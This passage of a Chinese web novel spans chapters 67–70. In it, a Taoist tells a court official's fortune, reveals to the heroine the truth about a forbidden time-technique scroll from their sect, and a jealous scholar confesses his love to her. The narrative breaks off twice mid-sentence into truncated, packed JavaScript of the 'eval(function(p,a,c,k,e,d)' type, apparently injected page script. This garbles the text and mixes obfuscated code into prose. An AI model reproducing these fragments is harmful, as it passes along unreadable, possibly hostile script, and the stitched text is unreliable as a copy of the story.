“成家与报国并非择一才可,”崇福皇帝不理解,皱起眉头,“难道没有例外么?” “没有。” 当然有,只是,这不是他一人说了算的。 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崇福皇帝听他说过这事,但只要治好小世子就行,其余他并不挂心,想着给那个道士点赏赐就可以了:“朕不是让你多给了他点赏赐么?” 听恭顺王爷继续说:“是,儿臣自然听父皇的命令。但这古怪的道士竟然不要银钱,不仅如此,他还替人卜卦,算得极准。不过这人一月只能卜三次,如今用了两次,还有一次机会,不如让他替杜翰林算一算?” “这倒是没听你说过。”崇福皇帝眯起眼睛,透出危险的光,“你怎么不将他带进宫,替我算一算?” 恭顺王爷心里一紧,忙替自己辩解:“父皇上承天命,乃是真龙天子,所到之处淫邪不敢侵,何必要一道士替您卜卦以趋吉避凶?” “嗯。”对恭顺王爷的回答,崇福皇帝十分满意,语气也变得和顺,“杜卿,你认为如何?” 方才已经拒绝了皇帝让他成家的提议,现在若是再拒绝,脑袋说不定就不保了,所以杜文焕顺从地说:“一切听陛下和王爷的。” “宣他进来罢。” “是。” 一阵脚步声过后,一个温润的男声响起:“小道周霁雪,见过陛下、娘娘、王爷。” 这个声音?程希夷总觉得有些耳熟,这个名字也像是在哪听过,但一时想不起来。 她见那个人影从她旁边走过,只留下白色衣角的残影。 “起来罢。” 周霁雪年约三十岁,却像是二十来岁的模样,头戴芙蓉冠,身穿银绣暗纹白袍,手持拂尘,脚踏云履,行了个俗世礼:“谢陛下。” 崇福皇帝见他仙风道骨,生得俊美,颇有仙人之资,便也对适才恭顺王爷所言多信了几分:“朕听闻你有卜算之能,且一月只卜三卦,可有此事?” 周霁雪微微颔首:“确有此事。” “那你替杜卿卜上一卦罢。”崇福皇帝指了指站在周霁雪身侧的杜文焕。 周霁雪转过身,眼神看向一旁,却没有定在杜文焕身上,而是偏过他,落在他身后那个一直低着头沉默的丫鬟身上。 是她?她怎么会在这? 这下可好玩了。 67. 延年 周霁雪缓缓将眼神转回,将杜文焕端详了几眼,笑道:“这位大人可否将生辰八字给小道一观?” 杜文焕淡淡看了他一眼,便走到一旁的桌案前,提笔在纸上写了几个字,交给他。 周霁雪笑着接过,右手两指夹住展开,毫不在意地扫了一眼,正欲推算,脸色忽然一变,原本的笑容骤然消失不见。 “这……”他收起敷衍的心思,眼神愈发深沉,几乎要将那张薄纸盯出个洞来。 “如何?”皇帝见他不说话,问。 周霁雪先是松了口气,脸上的神色慢慢变得和缓,笑容又重回脸上,对皇帝说:“这位杜大人平生境遇坎坷,虽有几次大难,但只要过了弱冠之年,此后必定逢凶化吉,青云直上。” “这些都是江湖术士的套话,”皇帝不以为然,“璁儿,你来之前就将杜卿的年龄告诉他了,这都是你安排的?” 恭顺王爷忙撇清关系,急切地说:“儿臣不敢!儿臣怎敢揣度圣意,带他来也只是因为小世子身体尚且虚弱,让他随侍以防万一。” “小道不敢欺瞒陛下。”周霁雪浅浅一拜,嘴上说着不敢,却不见半分惧怕的神色,仍是那幅风淡云清的模样,“这位杜大人在十五岁时遭逢大难,九死一生,此后境遇坎坷,然而过了二十岁,日后必定无灾无病,邪气不侵。” “这么说,你倒的确有几分本事。”皇帝嘴唇勾了勾,眼里多了几分兴趣,他若要重用一个人,必定要把这人的事全部打探清楚。 内卫曾经告诉他,杜文焕是六品文官杜利的先夫人——一个南方大商贾的女儿留下来的孩子。 早年杜利家中败落,几乎穷困潦倒,是靠她从娘家带来的嫁妆打点,让他上京赶考,入朝做官。 这位先夫人,据老仆人说人品又好,生得又美,只可惜身子不好,生下杜文焕后落了病根,常年卧病在床,闲时喜欢在府中养花,专门开了一块地作花圃,所以又有个美称,叫“百花夫人”。 京中女眷都爱同她来往,常来陪她说话谈心,其中有会医术的,替她诊病,这位先夫人的病也一日好一日。 谁知好景不长,没过多久,杜利就从外带来了一个有一个孩子的寡妇,说要纳她为妾。 但杜利不是情真意切地看上了这个寡妇,而是因为这是他在乡下时娶的妻子,后来离开乡下来京之后才遇到先夫人。 而这个寡妇带来的那个孩子正是杜利的孩子,在杜利离开之后,寡妇生下了孩子,养了几年后实在难以支撑,不得已改嫁。 后来丈夫死了,自己没了奔头,听说杜利在京城当了大官,她便带着孩子找到了杜利。 杜利看见了孩子,便也动了恻隐之心,想起自己在乡下时和她过的一段快乐日子。 而且,先夫人身体不好,大夫说她可能再也生不了孩子了,寡妇带来的那个男童也算是他杜家的香火,他想让那孩子认祖归宗,所以生了让她重新进门的念头。 只是为妾而已。 先夫人并不同意,尤其是杜利欺骗她,明明有妻子还要同她成亲,如今却要她看在孩子的面上和另一个女人分享自己的丈夫。 但杜利执意这么做,先夫人也无可奈何。 起初,一切都还相安无事,寡妇对先夫人和小杜文焕都十分关心。然而先夫人的身体急转直下,本来平日里还可以去花圃逛一逛,后来却不得不只在卧房里等人侍药。 但给先夫人最大打击的,是她大哥一家的死。 “就这么不明不白地死了。”这是那个老仆人的原话。 那之后没多久,先夫人抑郁而死,留下十岁的杜文焕,而那个寡妇摇身一变,成了正室,也就是如今的杜夫人。 杜夫人被扶正室之后没几年生下小儿子杜禹,杜利和她对小儿子宠爱非常,要星星不给月亮,渐渐忽略了对杜文焕的照顾。 这也是杜文焕十五岁那年被一群强盗轻易掳上山的原因之一。 那一年,一群杀人截货的强盗流窜到了京城外的一处山上,这群人根本不在意这是在天子脚下,起初只绑架一些小有财富的商贾人家的孩子索要赎金,得了钱便会放回。 突然有一天,他们绑架了一个官吏的孩子,那个官吏不惯这群人,便求了京兆府尹,待人将他们的窝点尽数扫尽。 但狡兔三窟,这群强盗凭借自己对地形的了解,逃过了官兵的追杀。 本以为他们会就此溃散,谁知他们不仅卷土重来,还计划报复官府,秘密潜入京城,蹲在私塾附近,就瞅准那些官吏的孩子下手,杜文焕便是其中之一。 这些强盗为了跟官府谈判,几个月中放了一些孩子,但杜文焕不在此列,因为杜利迟迟没有告诉官府他的儿子失踪了。 直到杜文焕被绑几个月后,杜利才上报官府,而那时候强盗已经不再放人了。 就在官府准备再一次派人剿灭这些强盗时,杜文焕浑身狼狈地来到京兆府报官,可惜体力不支倒在门前。 等他醒后,众人跟随他的指引来到强盗隐藏的巢穴,可眼前的一幕令众人都倒吸一口冷气,连持刀带剑的官兵都禁不住发抖。 呈现在他们眼前的是横七竖八的尸体,有强盗的,还有那些年幼的孩子。 那些强盗和孩子全都死在洞穴里,生还者只有杜文焕。 后来经京兆府和大理寺调查,这些人全被高手所杀,且一击致命,杜文焕足够幸运,及时逃离了这里,否则,也是和他们一样的下场。 至于这些人被谁所杀,为什么被杀,或许永远是一个迷了。 这一段往事已经过了五年,且又牵扯京城官宦人家,所以知道的人并不多,而杜文焕的事更是没几个人知道。 这道士居然能说出杜文焕十五岁那年逃过一生死大劫,要不就是提早打听过,要不就真的有几分本事。 但赏赐杜文焕乃是临时起意,也来不及打听,看样子是后者。 皇帝对周霁雪有了几分兴趣,问:“你果真一月只算三次?” “是,小道能力所限。” 皇帝盯着他,手指随意摩擦手上的玉扳指,饶有兴味的模样,“除了卜算,你还会什么?” “小道还略通一点医术。” “正好。”皇帝站起身,身旁的老太监忙来搀扶他,他却摆摆手,示意自己不必搀扶,“朕最近喝太医院那些药也喝腻了,也没见有什么起色,你就来替朕看了看罢。” 还没等周霁雪应承,皇帝又偏了偏头,对一旁的恭顺王爷说:“璁儿,让你身边这个得力助手替朕看一看,你没有什么意见罢?” 恭顺王爷低下头,恭恭敬敬地说:“能为父皇分忧,这是儿臣之福。” “好了,朕也累了,就先回宫了。” “恭送陛下!” 皇帝刚转身,皇后就赶紧凑上去扶着他,生怕宜妃先跑来献殷勤,可余光瞥见宜妃站在那动也不动,一改往日对皇帝体贴入微的模样。 她不仅有些好奇地看过去,只见宜妃的目光定在下头那些臣子上,似乎是在看着那个叫杜文焕的新任翰林? 那个杜翰林的确生得俊朗非常,又才华横溢,宜妃年纪也才十五六岁,若是个闺阁小姐,对他萌生好感也实属正常,但她现在已经是陛下的妃子,跟一个臣子眉来眼去犯了大忌。 她心中暗喜,以为自己抓到了宜妃的把柄,正想质询,却见她的眼神中流露的不是爱意,而是一种陷入回忆的沉思,再顺着她的眼神看过去,宜妃哪里是在看杜翰林,倒像是在看他身后那个一直低头不语的丫鬟。 一个丫鬟有什么好看的? 皇后在心中嗤笑,又可惜自己再次失去了拿捏宜妃的机会,轻叹一口气,扶着皇帝离开了太液池。 宜妃回过神,忙提裙赶上了皇帝一行人,在旁娇滴滴地说:“陛下,您体力好走得快,倒忘了臣妾还在后头!” 皇帝最禁不住这一套,原先对她没来搀扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他也是高琦的弟子,高琦一生桃李满天下,但被他重视的只有两个,一个就是杜文焕,另一个...还好已经死了,不然活到现在也是朕的心腹大患。驾驭一个有能力的官吏,为我所用,或许能延续我维咸国的繁荣。” 说到这,他长舒一口气,似乎想把胸中那口浊气吐出。 “朕如今只有璁儿一个皇子,他过于懦弱,以后这大任要交到小世子手里,朕要在剩下的这段日子替他扫除天末国的威胁,重用有能力的人是必要的。” “陛下正值壮年,哪里要谈这个?”宜妃担忧地说,“哪怕是为小世子筹谋,也望陛下先保重龙体才好。” “这是自然,所以朕不是也让那个道士来给朕看看吗?”看宜妃担忧的模样,皇帝倒有些高兴,这说明她记挂着他的身体,不由得出言安慰,“说不定他能炼制丹药,不说长生不老,但延长朕的寿命应当不是问题。” 延长寿命的丹药吗? 宜妃并不相信,身边的老内侍显然也不大相信,但他们之前确实听说京城里卖一种包治百病的灵药,只是价钱甚高,有钱人家才买得起一丸。 听说之前恭顺王爷为了治小世子的病也动了买这种药的心思,但被那云游道士给治好了,她本想买一丸试一试,还没来得及托人去买,便听说这药断了,不再卖了。 多方打听之下才知道,原来这药是京城附近的赤县的一个小村庄的巫师联合村民用人血炼制的,后来被差使去的杜大人查办,断了他们的财路。 这事一出,之前急着买药的那些官宦人家避之如蛇蝎,连吃下药觉得自己好了的那些人都恨不得将胃肠里的丹药全倒出来,甚至还有没病吃了丹药的人听了这消息突然病了的。 所以她现在并不大相信这些说是可以延长寿命的丹药,谁知道是用什么做的呢。 但陛下说有,那就只好由着他去了。 68. 旧识 皇帝一行人离开后,恭顺王爷便想去寻王妃和小世子。 杜文焕比他先一步开口:“今夜风凉,臣衣着单薄,怕生风寒。若无事,臣想先回家歇息了。” 余光瞥见程希夷低着头若有所思,莫非是在想方才周霁雪的那个占卜?他一向不信命与运,而且这道士看起来像是来骗吃骗喝的,也只会说些吉祥话,哄人开心罢了。 恭顺王爷说不定也是看重这一点才让他今日来宴会的。 使者又坐下继续喝酒,他使了个眼色,身边围着的几个从维咸国一同来的使臣都站起身,各自离开了。 恭顺王爷还未说什么,使者先开口了:“杜翰林何必如此着急,这酒都未曾喝上两杯,哪有离席之理?一杯酒下去,身体便暖了,又何惧夜风凉呢?” 边说,他边做出请的手势,邀请他在旁坐下。 恭顺王爷也改了主意,劝他:“是啊,平日倒不怎么见你。来京这么久,之前也未曾听说你去谁的府上赴宴,如今有这机会可以开怀畅饮,又何必推辞呢?” 说着,恭顺王爷便走到使者一旁的席位坐下,留了个位子。 杜文焕无可奈何,只得随他们坐下,刚坐下,一旁的侍女便替他斟满了一杯酒。 使者举杯邀饮:“杜翰林年轻有为,在下听了您的事迹后,深感钦佩,这一杯在下敬你!” “尊使过奖了,下官只是略尽绵力罢了。”杜文焕客气回答,见使者一饮而尽,他也只好仰头一饮。 “杜翰林过谦了。”使者笑道,眼神示意侍女赶紧替杜文焕的酒杯满上,“在下听说不久之前,杜翰林在赤县的一个村庄抓了一群大搞巫术活动的村民和巫师。” 一说到赤县,恭顺王爷倒是想起了什么,好奇地问:“小王之前也听说京城卖得最好的一种丸药就是从赤县的一个小村庄出去的,后来有人说这药是用人血炼制的。普天之下,也只有巫师敢大搞这些歪门邪道,莫非就是这些刚抓捕的巫师干的?” “抓到的只是一些村民,巫师都逃了。”杜文焕将眼神移到使者的脸上,他并未见到大柳树村密道中的那几个巫师的真面目。但据希夷所说,那几个巫师的袍子底下穿着官靴,很可能就是这次天末国出使的使团中的人,而这个刻意灌他酒的使者,会不会也是其中一员呢? 闻言,恭顺王爷失望地轻叹一声,半开玩笑地说:“哎,这就可惜了,小王还想看看巫师是什么古怪模样,说不定长得奇形怪状呢。” “王爷说笑了,他们虽戴了青面獠牙似鬼神的面具,但面具底下也都是同我们一样的普通人。”杜文焕边回答王爷,边看向使者,“尊使,您说对吧?” “杜翰林心中自然有答案,何必问在下。”使者笑了笑,又举起酒杯,“请。” “请。”杜文焕这次只喝了半杯,剩下半杯趁他们不注意倒入袖管之中。 恭顺王爷这才想起天末国以巫为尊,常年兴办祭祀,巫师备受重视,自己如此问使者,既显得少见世面,又有不尊重他们的风俗之嫌。 他尴尬地同他们饮了一杯酒,脑子里思索该说点什么将这事揭过。 扫了一眼四周,方才还站在这里的周霁雪不见了,便问自己的侍女:“周道长去哪了?” 侍女回答:“奴婢看见周道长刚刚往浣花院那边去了。” “他一个人去的?” 侍女:“不是,似乎是同杜翰林的丫鬟一块去的。” “丫鬟?”恭顺王爷疑惑地看向杜文焕,“杜翰林的丫鬟认得周道长?” “不认识。”杜文焕虽也十分疑惑,但也不紧不慢地找了个借口,“她大抵是觉得周道长神通广大,请他替自己算一算罢。” 恭顺王爷点点头,他倒没注意杜文焕带了个丫鬟。 使者饶有兴味地勾唇一笑:“杜翰林的小丫鬟在下倒是注意到了,生得清丽脱俗,举世无双。若不是跟在杜翰林身边一幅丫鬟打扮,在下还真会以为是哪家爱慕杜翰林的小姐,非得跟在杜翰林身边。” 恭顺王爷这才从自己的记忆中搜罗出几个片段:“这小丫鬟一直低头不语,在杜翰林身边时又被遮住了半张脸,尊使居然能记住她的模样?” 使者笑了笑,说:“只是觉得这小丫鬟特别,所以多看了几眼。” 恭顺王爷不解,若这小丫鬟真的生得美,自己也不至于没有印象。一个几乎没抬头过的小丫鬟,居然把她夸得这样好,使者实在古怪。 但他已经说错过一次话,这次也不好拂了使者的面子,只好压下心中的疑惑,转而打趣杜文焕:“若如使者所言,杜翰林的一个丫鬟都这样美,难怪杜翰林不想成亲。” 使者也爽朗地哈哈一笑,眼睛却似笑非笑地盯着杜文焕:“说不定杜翰林是因为这个丫鬟才不想成亲的呢。” 恭顺王爷只当他是玩笑,配合地笑了几声。 杜文焕沉默不语,这话触动了他的心事,但他很快修整心情,勉强笑了笑,说:“一个长相普通的小丫鬟而已,尊使说笑了。” “既然是说笑,还望杜翰林不要把在下的话放在心上。”使者亲自拿来酒壶,替他满上,“这一杯酒,就当是赔罪。” “请。”杜文焕端起酒杯一饮而尽,这下他确定这人就是那些巫师中的一员。 他们扮成使臣来这里做什么?大柳树村的那些事,他们又参与了多少? 还是说,天末国的使臣原本就是巫师,他们位高权重,听天末国皇帝的命令来这里扰乱民众的心思,散播巫术的? 可使臣来访最多不过半月,时间也不够,而且能被希夷看到他们没换官靴,说明当时他们抓希夷是突发事件,之前并不知道她会在大柳树村。 而且抓了她之后只是将她困在画中,并没有伤害她,更没有将她带回天末国,他们到底想做什么? 大柳树村的这些有关于巫师和画中秘境的事,他也不能说出去,显然使者知道这一点,所以并不怕自己身份被揭露,甚至还试探他知道多少。 只可怜恭顺王爷不懂他们两人之间的哑谜,还以为只是闲谈,笑着附和了几句。 另一边,程希夷跟在周霁雪后边,沿着长廊,来到池边的一座被树叶遮挡的亭子内。 周霁雪一到亭子里就 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“哎呀呀,我给师妹你留下的印象竟然都是传闻里听到的不实传言。”周霁雪笑道,“不过终于想起了我是谁了。” 但这也不能怪程希夷,山上的同门性格迥异,有一心扎进修道路不回头的,也有跑到后山睡觉抓兔子的,平时见面的机会并不多。 这位周师兄更是神龙见首不见尾,程希夷知道他天天待在藏书阁还是因为她想溜进去找记载禁术的那些书,所以向师姐师兄打听这藏书阁一般都有谁在,由谁看守。 而守着藏书阁的,正好就是这位周师兄。 不过藏书阁看守得比较松散,只要不去碰禁书,各处可以随意翻找,所以常常找不见周师兄的人。 在拿禁书时,她倒是费了一番心思,正巧那天周师兄不适,让别的弟子代替,她就轻易溜进去了。 如果碰上这位周师兄,指不定会有一些麻烦,毕竟听师姐们说,他刚被师尊带到山上时是个十分冷酷的人,平日里独来独往,对私自拿走藏书阁中书籍的弟子从不讲情面。 有一次竟因一个弟子错拿了一本因用人作药引子而被归入禁书的炼丹书,明明很快送回,但还是被周师兄告知师尊以门规重重责罚,差点被赶下山。 后来倒是好些,藏书阁也没看得那么严格,但也没再有人敢触犯门规。 可如今面前这个周师兄温柔和煦,不似传闻中冷酷的模样,而且他们也没有这么熟,最多打过几个照面。 似乎是看穿了她的心思,周霁雪也不生气,背过身来到亭子的栏杆旁,看向池中倒影的月亮,意味深长地说:“师妹对我的确没有太多印象,可我对师妹印象深刻...” 程希夷不自觉顺着他的眼光看向池中,不知他要说什么。 谁知他下一句话惊起千层浪。 “当初你来藏书阁偷书,还是我指引你去拿那本记载天地运转,时间循环的禁书的。而那实际上也不是什么禁术,而是从仙山带回来的宝卷之一。” 69. 情敌 “什么?”一句话如同在河中投掷一块大石,溅起巨大的水花。 周霁雪看着池中泛起的涟漪,轻笑道:“不然师妹你是如何轻易找到那种重要的禁术的?” 程希夷走近,她微微抬头看向神色自若的周霁雪,自嘲地笑了一声,了然地问:“你只听师尊的命令,是她让你这么做的对吗?” 她现在明白了,师尊当年将年幼的她带上山,并不单纯是为了救一个失忆的孩子,师尊她一定在计划着什么。 周霁雪见她这么快就猜出幕后指使者是她一向敬爱的师尊,颇有些不忍。 他收起笑容,转过身静静看着她:“原来,师妹你已经猜到了。短短三个月,你就不再是那个天真爱笑的小姑娘了,师妹你这些日子一定经历了什么罢?” 程希夷并没有回答他的问题,这关切的模样反而让她心里泛起厌恶,“师兄不如先告诉我,师尊与你到底在计划什么...” 说到后面,她咬了咬唇,脑海中不自觉冒出师尊闭关前那仿佛苍老了十岁的模样,终究还是忍不住问:“师尊她...现在还好么?” “我跟你提仙山的宝卷,就是为了说这个。”周霁雪叹了口气,从袖中拿出一卷书,说是书,其实最多算是残页,上头还有被火燎烧过的痕迹。 他将残页递给程希夷,说:“这是师尊让我交给你的。你走后不久,师尊就关闭山门,让我们各自下山去另谋生路了。” “!”这番话对程希夷的震动不亚于方才周霁雪说当初盗宝卷之事是他暗中默许的,“那师尊她呢,她去哪了?” “师尊下山之后,不知去向。”周霁雪说,“临走前,她将这半本禁术宝卷让我代转交给你,所以我才来京城寻你。” 程希夷接过宝卷,明明只是几页残破的纸张,她却仿佛觉得有千斤重,放在手里几乎拿不动。 师尊离开了,那她要到何处去寻找师尊,询问真相呢? 师尊到底计划了什么,为何又突然放弃了计划,让师兄将这宝卷交给她。 似乎是看出她内心的痛苦和疑惑,周霁雪好心地解释说:“关于师尊为何默许你盗走宝卷修炼禁术,我所知不多。但这宝卷不是所有人都能修炼的。” 程希夷仰起头,问:“什么意思?” 周霁雪笑了笑,“比如我,其实曾经也偷学过这禁术,可天不遂人意,差点走火入魔。幸好我触碰不深,没被卷进茫茫时间的空隙中。” “时间的空隙?”程希夷抓住关键字,“可我修炼禁术时,除了感觉自己仿佛看到了一段过去,其他并未看见什么空隙啊。” “空隙只是一种形容,”周霁雪笑道,“先人认为时间就像是流水,顺流而下,去而不返。可每个人的时间不同,比如对你来说,上山--修道--触碰禁术--被赶下山--见到我就是你的时间,而我的时间是上山--修道--下山--见到你。在山上之时,你与我的时间偶有交汇,但你下山之后很长一段时间,我们俩的时间就像两条平行的道路,互不干涉。然而现在,就在此时此刻,我们俩的时间线却又重合在一起了,这岂不是很神奇吗? 这些时间线是我们难以感知的,而且一般不可变化,就像是蜘蛛网,牵一发而动全身,所以人们总是感觉所有人都在同一条时间线上。而空隙,就是其中一条时间线被外力影响时所产生的裂缝,稍有不慎,就会被吸引进去,最后迷失在众多时间线中。” 周霁雪所说的这些,程希夷的确有所感知,在修炼禁术时,她看到了自己的过去,那里有她的家人,可当她还想再看更多时,魂魄却仿佛要被什么东西给吸进去。 那时候是师尊冲进房间救了她,她当时还疑惑师尊为何进来得如此及时,现在看来,师尊是早早守在房前,等她修炼禁术了。 而那股可怕而强大的吸力,恐怕就是师兄所说的时间的空隙了。 “这东西我也碰不了。”程希夷将宝卷递还给他,自嘲地笑了笑,“我当时也是九死一生,还是师尊救的我,当时我还庆幸有师尊在,现在看来,一切都在你们的计划之中。” 程希夷闭了闭眼,压下了心中的痛苦,可眼泪还是禁不住从眼睫处滚落。 她现在对什么都失望了,最敬爱的师尊居然也将她视作棋子,师尊当初的闭关让她倍感愧疚,说是被赶下山,其实更多是她自己觉得不配作为师尊的弟子待在山上了。 现在看来,那些敬爱与愧疚,全都是笑话。 “师妹,师尊她并不是利用你。”周霁雪轻轻拍了拍她的肩,将宝卷重新塞回她手中,握着她的手安慰道,“你上山之后一直想方设法寻找自己的记忆,为此你不知试了多少偏法,吃了多少自己炼制的丹药。直到后来,你的主意打在了禁术上。师尊不忍心你自苦,就让我默许你盗走宝卷。为此,她也很后悔。下山之前,师尊曾对我说;‘那本就是希夷的东西,为何会让她魂魄更加不稳?’也许,师尊知道迟早会有这么一天,只是她想赌一把你能成功。” “是嘛...”程希夷的心思很乱,没有办法判断这话是真是假,但的确让她心里稍稍好受一点,“谢谢你,师兄。” “你我师兄妹之间,不必言谢。”周霁雪心中叹了口气,如今师门弟子四散漂泊,这偌大的皇宫只有他们二人是值得信任的旧识了。 想到这,他看向程希夷身上那身丫鬟打扮,问:“师妹,你如今怎么会沦落到给个官吏当丫鬟呢?” 程希夷吸了吸鼻子,又用袖子擦了擦脸上的眼泪,说:“此事说来话长,总之我过得挺好,多谢师兄关心了。” “给人当丫鬟可不算过得好。”周霁雪十分不认同,“你没有签卖身契罢?签了也无妨,我去给你赎回就是了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她抬起头,想扯出一个云淡风轻的笑容,表示自己并不在意。但在周霁雪看来,她的眼睛里不自觉泛起泪光,扯出一个破碎的微笑,鬓边细长的发带被风吹起,整个人像是一个被泪水浸湿的布娃娃,惹人怜爱。 他刚伸出指腹,想替她擦去眼泪,身后却突然传来一声充满怒气的呵斥:“你在对她做什么!” 周霁雪听到声音刚要回头,还未转过来,脸上便挨了一拳,叫他直直撞向一旁,还好有围栏的阻挡,才没摔在地上。 他看向来人,原来是那个脸上没多少笑容,在皇帝和使者面前也清高自傲的酸儒杜翰林。 只见他没了平常的从容,一缕发丝从发冠上冒出,衣裳上被树枝划出了一道口子,额头上也有薄汗,像是急匆匆跑来的。 杜文焕方才同恭顺王和使者喝酒,好不容易以不胜酒力脱身后,便问宫中的内侍是否看见他们,有一人便指着一条小路说:“方才杂家看见周道长和一小丫鬟往亭子里去了,还刻意往比较偏的亭子去,杂家也不知是做什么。” 听得他急忙往这边赶来,来了之后便看见周霁雪一手扶着程希夷的肩,另一只手似乎是要触摸她的脸颊。 而希夷她,眼中含着泪水,可偏偏还扯出一个笑容,在周霁雪的手触碰到她之前,微微偏头躲开了。 他在欺负她。 70. 纠结 明明二人之间还隔着一段距离,但杜文焕一瞬间失去了所有理智的判断,认定了这点,然后就像一个毛头小子一样,做了前二十年都未曾做过的事——狠狠打了周霁雪一拳,差点让他摔出栏杆摔进池里。 似乎觉得一拳还不够,杜文焕还想继续动手。 程希夷急忙扑上去抓住他的手臂,说:“杜大人,你一定是误会了!” “什么误会?”杜文焕反握住她的手,将她拉到自己身后,坚定地对她说,“别怕,即使他是王爷跟前的红人,也不能冒犯你。” 周霁雪此时已经站起身,摸了摸自己被打的半边脸,反而笑了:“杜翰林这一拳力度虽有余,但技巧不足,不然我就站不起来了。像杜翰林这种只懂得文墨,手无缚鸡之力的文官也要学英雄救美么?恐怕日后不是你保护我师妹,而是我师妹保护你。” “师妹?”杜文焕皱起眉头,将眼前的周霁雪上下打量,眼神里充满怀疑。 程希夷反走到他前面,说:“对,杜大人这是我师兄,我们方才只是在谈事,你不要误会。” “误会什么?”周霁雪冷笑道,“就因为小道跟师妹站得稍微近一点,杜翰林就受不了了?一个不成家的人,把小道的师妹当丫鬟使唤,还对她有这么强的占有欲。杜翰林的为人,看起来不似传闻中那般高风亮节啊。” “下官是还配不上高风亮节这四个字,”杜文焕冷静了一些,反唇相讥,“但周道长既然只是希夷的师兄,也该遵循礼制,不要越过同门之谊罢?” “小道与她并非俗世中的人,我们之间与杜翰林这种俗世官吏天差地别,她要随小道去城郊的道观,日后也请杜翰林离她远些。”话说到后面,周霁雪的眼神从杜文焕身上离开,看向程希夷。 杜文焕跟随他的眼神看过去,不可置信地问:“你要跟他走?” “......”这二人的目光让程希夷无端感受到莫名压力,她无奈扶额,之前的伤心烟消云散,哭都不想哭了,“好了,你们真是够了。杜大人,我只是打算随师兄进宫替陛下炼丹,住在道观方便我恢复身份。方才我也是在同师兄谈论这件事。” 她又转向周霁雪:“师兄,你也不必再呛杜大人,我的事我自己清楚,就不劳师兄挂心了。我今日先回去收拾东西,明日就去城郊的道观。师兄住在哪边的城郊?” 周霁雪也不好再说什么,他瞪了一眼杜文焕,又转头无奈地说:“明日午时之前,我派人去接你。” “好。” 说完,周霁雪就从一旁的小路离开了,只留下他们二人在亭子里相顾无言。 “师兄走了,我们也走罢。”程希夷往前走了几步,手却被扯住,身后的人一步也没动。 “杜大人为何不走?” “...”杜文焕却一句话也不说,呆站在原地,就好像方才打了周霁雪那一拳已经耗费了他所有的精力。 “怎么了?”程希夷这才察觉到不对劲,又走了回来,走近了才发现,杜文焕双颊上带着不自然的两酡红,摸了摸他的双颊和额头,比平日要烫些,但没到发烧的程度,应该是酒气催发的。 “杜大人,你到底喝了多少酒?”刚才杜大人打师兄的举动完全不像他平日会做的事,看样子确实被灌了不少酒。 被她抚摸时,他都站着不动,直到她微凉的手背拂过他的右颊时,他才伸手握住,让她的手背继续紧贴自己的右颊。 “我没有喝多少,大部分都被我偷偷倒掉了。”似乎是猜到她内心所想,杜文焕继续说,“我打他虽是一时冲动,但并不完全因为酒。” “那是因为什么?”因为担忧还是别的什么,她想亲耳听到。 “你真的这么想离开我么?”杜文焕却并没有回答,而是问了一个问题。 程希夷心中暗暗叹气,她是真的想听到杜大人说那些她想听的话,不过也许不太可能罢,“我并不是想离开你,杜大人,我只是想赚些银子,好做日后的费用。” “我有银子。”杜文焕的脸颊在她的手背上蹭了蹭,“待在我身边,好么?” 程希夷摇了摇头:“杜大人,你的俸禄支撑杜府的日常花销还有余,但你总给我买些名贵的衣料和钗环,之后你又送我那些新的话本,这样下去,是支撑不住的。” 名贵的衣料和钗环,是季棠认为讨女子欢心的办法,杜文焕虽不认同,最后还是选择一一买来,但程希夷从来不用,能退则退,后来便买些不能退的话本,她只好收下。 “我还有先母的哥哥留下的一笔遗产,”杜文焕认真地看着她,“待成亲之后,家中就会交给我。” “杜大人不是说不会成亲么?”程希夷调侃道,“莫非为了这笔遗产,杜大人要找个人成亲?” “我并非贪图这笔遗产,我也并不是不想成亲...”望着眼前人时,杜文焕的眼神逐渐变得明亮,他上前一步将她拥进怀里,月光倾泻而下,让他的脸颊和青丝都镀上了一层银光。 他在她耳边轻轻说:“我只是想跟一个人成亲,而那个人注定要离开我,所以我不愿成亲。但如果那个人答应,即使只是一时一刻的夫妻情分,我亦心甘情愿,无怨无悔。此心日月可证。” “!”程希夷心中的那片池水因为这短短一句话开始沸腾起来,她张了张嘴,口中想吐出的每一个字都像是在问:真的吗?是我吗? 杜大人知晓她心里是在意他说不成亲这番话的,所以才说这些。 她可以回应吗,能回应吗,这样做自己会不会太自私了,如果有朝一日她离开,丢下他一个人,不如早就不开始,免得徒留痛苦。 想到这,她从杜文焕怀中挣扎出来,笑着说:“那就祝杜大人早日找到这个女子,与她长相厮守,白头偕老。” 尾音刚落,程希夷急忙闭上嘴,差一点哽咽声就掩饰不住了。 她转过身,吞了吞口水,说:“时间不早了,还是快走罢。” 说完,她没等身后的人回应,径直就要离开,可刚迈开步子,就被人从身后笼罩住了。 “也许是我说得还不够明白,让你误会了,抱歉。”身后的人讨好似的蹭了蹭她的发丝,又轻吻她的额角,“这个人一直都是你,我只喜欢你,只想同你成亲。这次,你听清了吗?” 程希夷将自己的手指蜷缩起来,指甲嵌入柔软的手心,终于狠下心:“我没...唔!” 谁知她“我没喜欢过你”几个字还未出口,就被他用指尖钩住脸颊,强制她微微偏头,而后一个急切而急促的吻落下,这个吻似乎急于探究对方的心意,又似乎是试图堵住那未出口的拒绝。 在偏头的那一瞬间,程希夷看见了他眼中那层薄薄醉意后的忧伤,他清醒得不能再清醒。 是了,他一定猜到了她想说什么,但他不想听到,也不愿听到。 他喝的那一点酒,仿佛通过口中的肆意交缠传递给了她,让她也染上了醉意,头脑一时无法思考,只能凭借本能的意志依靠眼前的人,在这寒冷的秋夜将温暖传递给对方。 最后二人被冷风吹凉了温度,清醒之后面红耳赤地登上马车回了杜府。 夜风微凉,程希夷沐浴后来到床边,却睡不着,便趁着月色笼着一件淡青色披袄推开门,来到庭院处的长廊坐下,盯着天上素白的月亮发呆。 她时而小心地碰了碰自己的双唇,露出一丝羞怯的笑意,时而沉下嘴角,眼神又变得忧郁起来。 想着想着,她不自觉用双手撑着双腮,自言自语:“这可怎么办呢?” 沉思间,余光瞥见不远处有浮动的亮光,她抬头一看,原来是杜大人房里还亮着灯。 “这么晚了还没睡?” 